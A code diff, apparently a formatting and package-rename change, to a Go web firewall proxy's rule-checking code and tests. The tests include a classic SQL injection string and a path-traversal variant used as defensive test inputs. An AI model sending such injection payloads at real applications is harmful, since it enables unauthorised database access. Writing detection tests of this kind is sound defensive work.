@@ -504,14 +388,9 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
|
|||||||
line := s.upload()
|
line := s.upload()
|
||||||
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
|
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
if line.LimitHit != minute ||
|
if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
|
||||||
line.Counts.MinuteBytes != bodyBytes+answerBytes {
|
t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
|
||||||
t.Errorf(
|
line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
|
||||||
"log line has limit_hit %q and minute_bytes %v, want minute and %d",
|
|
||||||
line.LimitHit,
|
|
||||||
line.Counts.MinuteBytes,
|
|
||||||
bodyBytes+answerBytes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -561,9 +440,7 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
_, _ = buffered.WriteString(
|
_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
|
||||||
strings.Repeat("a", answerBytes-1) + "\n",
|
|
||||||
)
|
|
||||||
_ = buffered.Flush()
|
_ = buffered.Flush()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -593,12 +470,8 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
|
|||||||
s.t.Helper()
|
s.t.Helper()
|
||||||
|
|
||||||
conn := dial(s.t, s.addr)
|
conn := dial(s.t, s.addr)
|
||||||
send(
|
send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
|
||||||
s.t,
|
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
|
||||||
conn,
|
|
||||||
"GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
|
|
||||||
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n",
|
|
||||||
)
|
|
||||||
|
|
||||||
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
|
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -615,11 +488,7 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
|
|||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|
||||||
if res.StatusCode != http.StatusSwitchingProtocols {
|
if res.StatusCode != http.StatusSwitchingProtocols {
|
||||||
s.t.Fatalf(
|
s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
|
||||||
"status %d, want %d",
|
|
||||||
res.StatusCode,
|
|
||||||
http.StatusSwitchingProtocols,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return conn, reader
|
return conn, reader
|
||||||
@@ -634,22 +503,14 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
|
|||||||
|
|
||||||
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
|
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
|
||||||
s.sent++
|
s.sent++
|
||||||
wantLine(
|
wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
|
||||||
s.t,
|
|
||||||
line,
|
|
||||||
http.StatusSwitchingProtocols,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
|
|
||||||
return line
|
return line
|
||||||
}
|
}
|
||||||
|
|
||||||
// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
|
// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
|
||||||
// test that looks at neither the server nor the alerts.
|
// test that looks at neither the server nor the alerts.
|
||||||
func startWithAnswers(
|
func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
|
||||||
t *testing.T,
|
|
||||||
env map[string]string,
|
|
||||||
) (*sender, *clock) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
|
s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
|
||||||
@@ -663,15 +524,8 @@ func startWithAnswers(
|
|||||||
func (s *sender) download() (logLine, answer) {
|
func (s *sender) download() (logLine, answer) {
|
||||||
s.t.Helper()
|
s.t.Helper()
|
||||||
|
|
||||||
return s.requestWithBody(
|
return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
|
||||||
http.MethodGet,
|
requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/",
|
|
||||||
"",
|
|
||||||
"",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// upload is download for a POST request with a body of bodyBytes, and
|
// upload is download for a POST request with a body of bodyBytes, and
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/rand"
|
"crypto/rand"
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
|
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
|
||||||
// and SWW_WAF_ANOMALY_THRESHOLD.
|
// and SWW_WAF_ANOMALY_THRESHOLD.
|
||||||
@@ -25,14 +25,9 @@ type coreRuleSet struct{}
|
|||||||
|
|
||||||
func (coreRuleSet) name() string { return "core_rule_set" }
|
func (coreRuleSet) name() string { return "core_rule_set" }
|
||||||
|
|
||||||
func (coreRuleSet) check(
|
func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
_ time.Time,
|
|
||||||
) *verdict {
|
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
if cfg.WAFMode == config.WAFModeOff ||
|
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
|
||||||
pathExempt(rq.in, cfg.WAFExemptPaths) {
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -43,9 +38,7 @@ func (coreRuleSet) check(
|
|||||||
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
|
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
|
||||||
rq.requestBytes = int64(len(read))
|
rq.requestBytes = int64(len(read))
|
||||||
|
|
||||||
rq.line.DurationCoreRuleSetMS = new(
|
rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
|
||||||
requestlog.Milliseconds(time.Since(start)),
|
|
||||||
)
|
|
||||||
rq.line.CoreRuleSetRuleIDs = result.RuleIDs
|
rq.line.CoreRuleSetRuleIDs = result.RuleIDs
|
||||||
rq.line.CoreRuleSetScore = &result.Score
|
rq.line.CoreRuleSetScore = &result.Score
|
||||||
|
|
||||||
@@ -68,11 +61,8 @@ func (coreRuleSet) check(
|
|||||||
rq.blockedByCoreRuleSet = true
|
rq.blockedByCoreRuleSet = true
|
||||||
|
|
||||||
return &verdict{
|
return &verdict{
|
||||||
action: requestlog.ActionBlockedByCoreRuleSet,
|
action: requestlog.ActionBlockedByCoreRuleSet,
|
||||||
figures: map[string]any{
|
figures: map[string]any{figureScore: result.Score, "threshold": threshold},
|
||||||
figureScore: result.Score,
|
|
||||||
"threshold": threshold,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"io"
|
"io"
|
||||||
@@ -44,12 +44,7 @@ const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
|||||||
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
|
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
|
||||||
// score, that it has none of the three: the Core Rule Set did not inspect the
|
// score, that it has none of the three: the Core Rule Set did not inspect the
|
||||||
// request.
|
// request.
|
||||||
func wantCoreRuleSet(
|
func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
|
||||||
t *testing.T,
|
|
||||||
line logLine,
|
|
||||||
score *int,
|
|
||||||
ruleIDs ...int,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
|
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
|
||||||
@@ -60,12 +55,9 @@ func wantCoreRuleSet(
|
|||||||
switch {
|
switch {
|
||||||
case score == nil &&
|
case score == nil &&
|
||||||
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
|
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
|
||||||
t.Errorf(
|
t.Errorf("log line has core_rule_set_score %v and "+
|
||||||
"log line has core_rule_set_score %v and "+
|
"duration_core_rule_set_ms %v, want neither",
|
||||||
"duration_core_rule_set_ms %v, want neither",
|
line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
|
||||||
line.fields["core_rule_set_score"],
|
|
||||||
line.fields["duration_core_rule_set_ms"],
|
|
||||||
)
|
|
||||||
case score != nil &&
|
case score != nil &&
|
||||||
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
|
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
|
||||||
t.Errorf("log line has core_rule_set_score %v, want %d",
|
t.Errorf("log line has core_rule_set_score %v, want %d",
|
||||||
@@ -90,21 +82,11 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{wafMode: tc.mode},
|
|
||||||
)
|
|
||||||
|
|
||||||
wantTags(
|
wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
|
||||||
t,
|
"exploitsignature")
|
||||||
s.request(client, sqlInjection, tc.status, tc.action),
|
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
|
||||||
"exploitsignature",
|
|
||||||
)
|
|
||||||
wantTags(
|
|
||||||
t,
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward),
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -121,9 +103,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
|
|||||||
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
|
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
|
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, attack := range []struct {
|
for _, attack := range []struct {
|
||||||
@@ -162,19 +142,10 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
|
|||||||
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
|
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
|
||||||
{detect, requestlog.ActionForward, http.StatusOK},
|
{detect, requestlog.ActionForward, http.StatusOK},
|
||||||
} {
|
} {
|
||||||
s, _, _ := startWithClock(
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{wafMode: tc.mode},
|
|
||||||
)
|
|
||||||
|
|
||||||
line := s.requestWithHeader(
|
line := s.requestWithHeader(client, attack.path, attack.header,
|
||||||
client,
|
tc.status, tc.action)
|
||||||
attack.path,
|
|
||||||
attack.header,
|
|
||||||
tc.status,
|
|
||||||
tc.action,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
|
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -196,12 +167,8 @@ func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
|||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
|
||||||
client,
|
http.StatusOK, requestlog.ActionForward)
|
||||||
"/owner/repo/src/branch/main/README.md?display=source",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, new(0))
|
wantCoreRuleSet(t, line, new(0))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -221,48 +188,26 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|||||||
|
|
||||||
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
|
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
|
||||||
// exempts, are not inspected.
|
// exempts, are not inspected.
|
||||||
line := s.request(
|
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||||
allowed,
|
|
||||||
sqlInjection,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
line = s.request(
|
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
|
||||||
client,
|
requestlog.ActionForward)
|
||||||
"/api/v1/repos?id=1'%20OR%20'1'='1",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
|
|
||||||
// The prefix is matched as rate limit exempt paths are: a path that
|
// The prefix is matched as rate limit exempt paths are: a path that
|
||||||
// goes up and out of it is inspected.
|
// goes up and out of it is inspected.
|
||||||
line = s.request(
|
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
||||||
client,
|
requestlog.ActionBlockedByCoreRuleSet)
|
||||||
"/api/../?id=1'%20OR%20'1'='1",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionBlockedByCoreRuleSet,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
|
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
|
||||||
|
|
||||||
// A request a rule file refuses is not inspected.
|
// A request a rule file refuses is not inspected.
|
||||||
line = s.request(
|
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
||||||
otherClient,
|
requestlog.ActionBlockedByBlockRule)
|
||||||
"/blocked?id=1'%20OR%20'1'='1",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionBlockedByBlockRule,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
|
|
||||||
// With SWW_WAF_MODE off, no request is.
|
// With SWW_WAF_MODE off, no request is.
|
||||||
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
||||||
line = s.request(
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
sqlInjection,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, nil)
|
wantCoreRuleSet(t, line, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -276,12 +221,7 @@ func TestAnomalyThreshold(t *testing.T) {
|
|||||||
wafMode: block, wafAnomalyThreshold: threshold,
|
wafMode: block, wafAnomalyThreshold: threshold,
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
sqlInjection,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, new(5), 942100)
|
wantCoreRuleSet(t, line, new(5), 942100)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -329,20 +269,9 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// By default, the rules are switched off.
|
// By default, the rules are switched off.
|
||||||
s, _, _ := startWithClock(
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||||
t,
|
line, _ := s.requestWithBody(request.method, client, request.path,
|
||||||
"",
|
request.header, body, http.StatusOK, requestlog.ActionForward)
|
||||||
map[string]string{wafMode: block},
|
|
||||||
)
|
|
||||||
line, _ := s.requestWithBody(
|
|
||||||
request.method,
|
|
||||||
client,
|
|
||||||
request.path,
|
|
||||||
request.header,
|
|
||||||
body,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, new(0))
|
wantCoreRuleSet(t, line, new(0))
|
||||||
|
|
||||||
// A list given replaces the default.
|
// A list given replaces the default.
|
||||||
@@ -350,24 +279,12 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|||||||
wafMode: block, wafDisabledRules: "942100",
|
wafMode: block, wafDisabledRules: "942100",
|
||||||
})
|
})
|
||||||
score := 5 * len(request.ruleIDs)
|
score := 5 * len(request.ruleIDs)
|
||||||
line, _ = s.requestWithBody(
|
line, _ = s.requestWithBody(request.method, client, request.path,
|
||||||
request.method,
|
request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
||||||
client,
|
|
||||||
request.path,
|
|
||||||
request.header,
|
|
||||||
body,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionBlockedByCoreRuleSet,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, &score, request.ruleIDs...)
|
wantCoreRuleSet(t, line, &score, request.ruleIDs...)
|
||||||
|
|
||||||
// And switches off the rules it lists.
|
// And switches off the rules it lists.
|
||||||
line = s.request(
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
sqlInjection,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantCoreRuleSet(t, line, new(0))
|
wantCoreRuleSet(t, line, new(0))
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -437,13 +354,8 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
|
|||||||
|
|
||||||
got := do(t, req)
|
got := do(t, req)
|
||||||
if got.status != http.StatusOK || string(got.body) != tc.body {
|
if got.status != http.StatusOK || string(got.body) != tc.body {
|
||||||
t.Errorf(
|
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
|
||||||
"%s: the app got %d bytes, answered %d, want the %d sent, 200",
|
tc.name, len(got.body), got.status, len(tc.body))
|
||||||
tc.name,
|
|
||||||
len(got.body),
|
|
||||||
got.status,
|
|
||||||
len(tc.body),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.endedLines(t, i+1)[i]
|
line := out.endedLines(t, i+1)[i]
|
||||||
@@ -472,19 +384,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
|||||||
|
|
||||||
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
||||||
if got.status != http.StatusOK || string(got.body) != page {
|
if got.status != http.StatusOK || string(got.body) != page {
|
||||||
t.Errorf(
|
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
|
||||||
"answered %d with %q, want 200 with the app's page",
|
|
||||||
got.status,
|
|
||||||
got.body,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
@@ -502,11 +408,8 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
|||||||
requestlog.ActionBlockedByCoreRuleSet)
|
requestlog.ActionBlockedByCoreRuleSet)
|
||||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
||||||
line.Offence != requestlog.OffenceLimit {
|
line.Offence != requestlog.OffenceLimit {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
|
||||||
"log line has limit_hit %q and offence %q, want minute_refusals and limit",
|
line.LimitHit, line.Offence)
|
||||||
line.LimitHit,
|
|
||||||
line.Offence,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
@@ -517,30 +420,15 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
|||||||
}
|
}
|
||||||
|
|
||||||
metrics := s.scrape()
|
metrics := s.scrape()
|
||||||
wantMetric(
|
wantMetric(t, metrics,
|
||||||
t,
|
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
|
||||||
metrics,
|
wantMetric(t, metrics,
|
||||||
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`,
|
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
|
||||||
3,
|
wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
|
||||||
)
|
`instance="app",status_class="4xx"}`, 3)
|
||||||
wantMetric(
|
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`,
|
|
||||||
3,
|
|
||||||
)
|
|
||||||
wantMetric(
|
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_requests_total{action="blocked_by_core_rule_set",`+
|
|
||||||
`instance="app",status_class="4xx"}`,
|
|
||||||
3,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
@@ -548,12 +436,7 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
|||||||
})
|
})
|
||||||
|
|
||||||
for range 3 {
|
for range 3 {
|
||||||
s.request(
|
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
sqlInjection,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
@@ -564,12 +447,8 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
|||||||
}
|
}
|
||||||
|
|
||||||
metrics := s.scrape()
|
metrics := s.scrape()
|
||||||
wantMetric(
|
wantMetric(t, metrics,
|
||||||
t,
|
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
|
||||||
metrics,
|
|
||||||
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`,
|
|
||||||
3,
|
|
||||||
)
|
|
||||||
wantNoSeries(t, metrics,
|
wantNoSeries(t, metrics,
|
||||||
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
|
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
|
||||||
}
|
}
|
||||||
@@ -577,18 +456,9 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
|||||||
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(
|
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{wafMode: block, mode: observe},
|
|
||||||
)
|
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
sqlInjection,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
|
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
|
||||||
wantCoreRuleSet(t, line, new(5), 942100)
|
wantCoreRuleSet(t, line, new(5), 942100)
|
||||||
|
|
||||||
@@ -638,9 +508,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
|||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
detail := map[string]any{
|
detail := map[string]any{
|
||||||
"rule_ids": []int{
|
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
|
||||||
942100,
|
|
||||||
}, "score": 5, "method": http.MethodGet,
|
|
||||||
"path": sqlInjection,
|
"path": sqlInjection,
|
||||||
}
|
}
|
||||||
if tc.alertMode != "" {
|
if tc.alertMode != "" {
|
||||||
@@ -659,10 +527,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
if queue.Suppressed() != 1 {
|
if queue.Suppressed() != 1 {
|
||||||
t.Errorf(
|
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
||||||
"%d alerts held back, want the repeat",
|
|
||||||
queue.Suppressed(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||||
|
|
||||||
@@ -18,11 +18,7 @@ type countries struct{}
|
|||||||
|
|
||||||
func (countries) name() string { return "countries" }
|
func (countries) name() string { return "countries" }
|
||||||
|
|
||||||
func (countries) check(
|
func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
_ time.Time,
|
|
||||||
) *verdict {
|
|
||||||
allowed := rq.h.config.ExclusivelyAllowedCountries
|
allowed := rq.h.config.ExclusivelyAllowedCountries
|
||||||
country := rq.line.Country
|
country := rq.line.Country
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -52,10 +52,7 @@ func TestCountryLists(t *testing.T) {
|
|||||||
calls.Add(1)
|
calls.Add(1)
|
||||||
})
|
})
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
|
||||||
trustedProxies: trustLocalhost,
|
|
||||||
lookupTimeout: "1h",
|
|
||||||
}
|
|
||||||
maps.Copy(env, tc.env)
|
maps.Copy(env, tc.env)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
||||||
|
|
||||||
@@ -71,25 +68,14 @@ func TestCountryLists(t *testing.T) {
|
|||||||
